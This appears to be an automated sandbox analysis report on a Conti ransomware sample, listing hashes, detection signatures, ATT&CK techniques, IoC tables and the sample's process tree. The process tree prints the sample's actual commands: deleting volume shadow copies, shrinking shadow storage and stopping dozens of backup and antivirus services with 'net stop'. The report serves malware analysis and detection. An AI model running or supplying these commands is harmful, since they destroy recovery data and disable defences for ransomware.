conti | 81792fcbaad868d2e4aca1ed372f4a5abb34372d3265d5712a65cdfe05e42df8

Analysis

max time kernel
149s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
24/05/2026, 01:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
sub_81792fcbaad8.exe
Size 101KB
Sample260524-bt764agy3z
SHA256 81792fcbaad868d2e4aca1ed372f4a5abb34372d3265d5712a65cdfe05e42df8
MD5 2d018bbe6d2b738944a4fb92d63bb3f9
SHA1 1a244bb0c42926ec181fe4d7e9515011168ca025
SHA512 a097e5ea19eb2edbb40546ec9bdf4ea100a7bf8de9a8b2e0d223e9333461ad0e295f362a2f0cf2ad076f9abffaa9f72c42dcb48d7fae724dee8907fae49f07e9
SSDEEP 1536:YzkzMy2546PtngS719+T0gdGpwW2XtaJp7fd8OUfB4VH9qNwpWblzC:RX2C29+4g8wW2XtO7l8OUGx9qNwp6C
TLSH
T127A38145630D1BEDF69EA4B5A6A93C3364CA583C139F85FBFBC684451582BC220B4F93
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

credential_access discovery conti ransomware stealer

Malware Config

Signatures

Family: Conti Ransomware
Ransomware generally thought to be a successor to Ryuk.
ransomware conti
Renames multiple (347) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004

Drops desktop.ini file(s) 24 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	sub_81792fcbaad8.exe
File opened for modification	C:\Users\Admin\Favorites\desktop.ini	sub_81792fcbaad8.exe
File opened for modification	C:\Users\Admin\Favorites\Links\desktop.ini	sub_81792fcbaad8.exe
File opened for modification	C:\Users\Admin\Music\desktop.ini	sub_81792fcbaad8.exe
File opened for modification	C:\Users\Admin\Searches\desktop.ini	sub_81792fcbaad8.exe
File opened for modification	C:\Users\Public\Libraries\desktop.ini	sub_81792fcbaad8.exe
File opened for modification	C:\Users\Admin\Contacts\desktop.ini	sub_81792fcbaad8.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	sub_81792fcbaad8.exe
File opened for modification	C:\Users\Admin\Links\desktop.ini	sub_81792fcbaad8.exe
File opened for modification	C:\Users\Admin\Pictures\Camera Roll\desktop.ini	sub_81792fcbaad8.exe
File opened for modification	C:\Users\Admin\Pictures\Saved Pictures\desktop.ini	sub_81792fcbaad8.exe
File opened for modification	C:\Users\Admin\Videos\desktop.ini	sub_81792fcbaad8.exe
File opened for modification	C:\Users\Public\Music\desktop.ini	sub_81792fcbaad8.exe
File opened for modification	C:\Users\Public\Pictures\desktop.ini	sub_81792fcbaad8.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	sub_81792fcbaad8.exe
File opened for modification	C:\Users\Admin\OneDrive\desktop.ini	sub_81792fcbaad8.exe
File opened for modification	C:\Users\Public\AccountPictures\desktop.ini	sub_81792fcbaad8.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	sub_81792fcbaad8.exe
File opened for modification	C:\Users\Public\desktop.ini	sub_81792fcbaad8.exe
File opened for modification	C:\Users\Admin\Pictures\desktop.ini	sub_81792fcbaad8.exe
File opened for modification	C:\Users\Admin\Saved Games\desktop.ini	sub_81792fcbaad8.exe
File opened for modification	C:\Users\Public\Downloads\desktop.ini	sub_81792fcbaad8.exe
File opened for modification	C:\Users\Public\Videos\desktop.ini	sub_81792fcbaad8.exe
File opened for modification	C:\Users\Public\Documents\desktop.ini	sub_81792fcbaad8.exe

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe
4196	sub_81792fcbaad8.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4196 wrote to memory of 3272	4196	sub_81792fcbaad8.exe	80
PID 4196 wrote to memory of 3240	4196	sub_81792fcbaad8.exe	82
PID 4196 wrote to memory of 3608	4196	sub_81792fcbaad8.exe	84
PID 4196 wrote to memory of 500	4196	sub_81792fcbaad8.exe	86
PID 4196 wrote to memory of 3576	4196	sub_81792fcbaad8.exe	88
PID 4196 wrote to memory of 2752	4196	sub_81792fcbaad8.exe	90
PID 4196 wrote to memory of 1656	4196	sub_81792fcbaad8.exe	92
PID 4196 wrote to memory of 4136	4196	sub_81792fcbaad8.exe	94
PID 4196 wrote to memory of 4200	4196	sub_81792fcbaad8.exe	96
PID 4196 wrote to memory of 1136	4196	sub_81792fcbaad8.exe	98
PID 4196 wrote to memory of 904	4196	sub_81792fcbaad8.exe	100
PID 4196 wrote to memory of 3776	4196	sub_81792fcbaad8.exe	102
PID 4196 wrote to memory of 1288	4196	sub_81792fcbaad8.exe	104
PID 4196 wrote to memory of 1508	4196	sub_81792fcbaad8.exe	106
PID 4196 wrote to memory of 3384	4196	sub_81792fcbaad8.exe	108
PID 3384 wrote to memory of 4008	3384	cmd.exe	110
PID 4008 wrote to memory of 2216	4008	net.exe	111
PID 4196 wrote to memory of 3164	4196	sub_81792fcbaad8.exe	112
PID 3164 wrote to memory of 4916	3164	cmd.exe	114
PID 4916 wrote to memory of 1696	4916	net.exe	115
PID 4196 wrote to memory of 1528	4196	sub_81792fcbaad8.exe	116
PID 1528 wrote to memory of 1084	1528	cmd.exe	118
PID 1084 wrote to memory of 3968	1084	net.exe	119
PID 4196 wrote to memory of 3732	4196	sub_81792fcbaad8.exe	120
PID 3732 wrote to memory of 3160	3732	cmd.exe	122
PID 3160 wrote to memory of 1716	3160	net.exe	123
PID 4196 wrote to memory of 4932	4196	sub_81792fcbaad8.exe	124
PID 4932 wrote to memory of 2132	4932	cmd.exe	126
PID 2132 wrote to memory of 492	2132	net.exe	127
PID 4196 wrote to memory of 1692	4196	sub_81792fcbaad8.exe	128
PID 1692 wrote to memory of 4792	1692	cmd.exe	130
PID 4792 wrote to memory of 3748	4792	net.exe	131
PID 4196 wrote to memory of 1216	4196	sub_81792fcbaad8.exe	132
PID 1216 wrote to memory of 3996	1216	cmd.exe	134
PID 3996 wrote to memory of 4328	3996	net.exe	135
PID 4196 wrote to memory of 4596	4196	sub_81792fcbaad8.exe	136
PID 4596 wrote to memory of 416	4596	cmd.exe	138
PID 416 wrote to memory of 2028	416	net.exe	139
PID 4196 wrote to memory of 1564	4196	sub_81792fcbaad8.exe	140
PID 1564 wrote to memory of 2036	1564	cmd.exe	142
PID 2036 wrote to memory of 2624	2036	net.exe	143
PID 4196 wrote to memory of 2484	4196	sub_81792fcbaad8.exe	144
PID 2484 wrote to memory of 2128	2484	cmd.exe	146
PID 2128 wrote to memory of 5056	2128	net.exe	147
PID 4196 wrote to memory of 4488	4196	sub_81792fcbaad8.exe	148
PID 4488 wrote to memory of 4040	4488	cmd.exe	150
PID 4040 wrote to memory of 2748	4040	net.exe	151
PID 4196 wrote to memory of 3192	4196	sub_81792fcbaad8.exe	152
PID 3192 wrote to memory of 3408	3192	cmd.exe	154
PID 3408 wrote to memory of 5112	3408	net.exe	155
PID 4196 wrote to memory of 2556	4196	sub_81792fcbaad8.exe	156
PID 2556 wrote to memory of 3460	2556	cmd.exe	158
PID 3460 wrote to memory of 1996	3460	net.exe	159
PID 4196 wrote to memory of 3432	4196	sub_81792fcbaad8.exe	160
PID 3432 wrote to memory of 1244	3432	cmd.exe	162
PID 1244 wrote to memory of 5024	1244	net.exe	163
PID 4196 wrote to memory of 2528	4196	sub_81792fcbaad8.exe	164
PID 2528 wrote to memory of 3512	2528	cmd.exe	166
PID 3512 wrote to memory of 5040	3512	net.exe	167
PID 4196 wrote to memory of 728	4196	sub_81792fcbaad8.exe	168
PID 728 wrote to memory of 900	728	cmd.exe	170
PID 900 wrote to memory of 2012	900	net.exe	171
PID 4196 wrote to memory of 4528	4196	sub_81792fcbaad8.exe	172
PID 4528 wrote to memory of 3248	4528	cmd.exe	174

C:\Users\Admin\AppData\Local\Temp\sub_81792fcbaad8.exe
"C:\Users\Admin\AppData\Local\Temp\sub_81792fcbaad8.exe"
1⤵
- Drops desktop.ini file(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4196
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c vssadmin Delete Shadows /all /quiet
  2⤵
  PID:3272
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB
  2⤵
  PID:3240
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
  2⤵
  PID:3608
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB
  2⤵
  - System Location Discovery: System Language Discovery
  PID:500
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
  2⤵
  PID:3576
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
  2⤵
  PID:2752
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
  2⤵
  PID:1656
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
  2⤵
  PID:4136
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
  2⤵
  PID:4200
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1136
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
  2⤵
  PID:904
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
  2⤵
  PID:3776
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
  2⤵
  PID:1288
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c vssadmin Delete Shadows /all /quiet
  2⤵
  PID:1508
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop "Acronis VSS Provider" /y
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3384
- - C:\Windows\SysWOW64\net.exe
    net stop "Acronis VSS Provider" /y
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4008
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Acronis VSS Provider" /y
      4⤵
      PID:2216
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop "Enterprise Client Service" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3164
- - C:\Windows\SysWOW64\net.exe
    net stop "Enterprise Client Service" /y
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4916
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Enterprise Client Service" /y
      4⤵
      PID:1696
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop "SQLsafe Backup Service" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1528
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLsafe Backup Service" /y
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1084
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLsafe Backup Service" /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:3968
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop "SQLsafe Filter Service" /y
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3732
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLsafe Filter Service" /y
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3160
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLsafe Filter Service" /y
      4⤵
      PID:1716
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop "Veeam Backup Catalog Data Service" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4932
- - C:\Windows\SysWOW64\net.exe
    net stop "Veeam Backup Catalog Data Service" /y
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2132
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Veeam Backup Catalog Data Service" /y
      4⤵
      PID:492
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop AcronisAgent /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1692
- - C:\Windows\SysWOW64\net.exe
    net stop AcronisAgent /y
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4792
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop AcronisAgent /y
      4⤵
      PID:3748
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop AcrSch2Svc /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1216
- - C:\Windows\SysWOW64\net.exe
    net stop AcrSch2Svc /y
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3996
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop AcrSch2Svc /y
      4⤵
      PID:4328
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop Antivirus /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4596
- - C:\Windows\SysWOW64\net.exe
    net stop Antivirus /y
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:416
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop Antivirus /y
      4⤵
      PID:2028
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop ARSM /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1564
- - C:\Windows\SysWOW64\net.exe
    net stop ARSM /y
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2036
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop ARSM /y
      4⤵
      PID:2624
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop BackupExecAgentAccelerator /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2484
- - C:\Windows\SysWOW64\net.exe
    net stop BackupExecAgentAccelerator /y
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2128
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:5056
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop BackupExecAgentBrowser /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4488
- - C:\Windows\SysWOW64\net.exe
    net stop BackupExecAgentBrowser /y
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4040
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
      4⤵
      PID:2748
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop BackupExecDeviceMediaService /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3192
- - C:\Windows\SysWOW64\net.exe
    net stop BackupExecDeviceMediaService /y
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3408
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop BackupExecDeviceMediaService /y
      4⤵
      PID:5112
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop BackupExecJobEngine /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2556
- - C:\Windows\SysWOW64\net.exe
    net stop BackupExecJobEngine /y
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3460
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop BackupExecJobEngine /y
      4⤵
      PID:1996
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop BackupExecManagementService /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3432
- - C:\Windows\SysWOW64\net.exe
    net stop BackupExecManagementService /y
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1244
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop BackupExecManagementService /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:5024
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop BackupExecRPCService /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2528
- - C:\Windows\SysWOW64\net.exe
    net stop BackupExecRPCService /y
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3512
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop BackupExecRPCService /y
      4⤵
      PID:5040
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop BackupExecVSSProvider /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:728
- - C:\Windows\SysWOW64\net.exe
    net stop BackupExecVSSProvider /y
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:900
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop BackupExecVSSProvider /y
      4⤵
      PID:2012
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop bedbg /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4528
- - C:\Windows\SysWOW64\net.exe
    net stop bedbg /y
    3⤵
    PID:3248
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop bedbg /y
      4⤵
      PID:4108
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop DCAgent /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2084
- - C:\Windows\SysWOW64\net.exe
    net stop DCAgent /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3832
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop DCAgent /y
      4⤵
      PID:3824
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop EPSecurityService /y
  2⤵
  PID:3328
- - C:\Windows\SysWOW64\net.exe
    net stop EPSecurityService /y
    3⤵
    PID:500
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop EPSecurityService /y
      4⤵
      PID:4816
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop EPUpdateService /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2352
- - C:\Windows\SysWOW64\net.exe
    net stop EPUpdateService /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5104
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop EPUpdateService /y
      4⤵
      PID:3180
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop EraserSvc11710 /y
  2⤵
  PID:4868
- - C:\Windows\SysWOW64\net.exe
    net stop EraserSvc11710 /y
    3⤵
    PID:2664
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop EraserSvc11710 /y
      4⤵
      PID:4136
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop EsgShKernel /y
  2⤵
  PID:928
- - C:\Windows\SysWOW64\net.exe
    net stop EsgShKernel /y
    3⤵
    PID:2952
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop EsgShKernel /y
      4⤵
      PID:4756
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop FA_Scheduler /y
  2⤵
  PID:2892
- - C:\Windows\SysWOW64\net.exe
    net stop FA_Scheduler /y
    3⤵
    PID:1828
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop FA_Scheduler /y
      4⤵
      PID:2320
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop IISAdmin /y
  2⤵
  PID:1636
- - C:\Windows\SysWOW64\net.exe
    net stop IISAdmin /y
    3⤵
    PID:4940
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop IISAdmin /y
      4⤵
      PID:1288
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop IMAP4Svc /y
  2⤵
  PID:964
- - C:\Windows\SysWOW64\net.exe
    net stop IMAP4Svc /y
    3⤵
    PID:3624
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop IMAP4Svc /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:2924
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop McShield /y
  2⤵
  PID:1880
- - C:\Windows\SysWOW64\net.exe
    net stop McShield /y
    3⤵
    PID:4056
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop McShield /y
      4⤵
      PID:3668
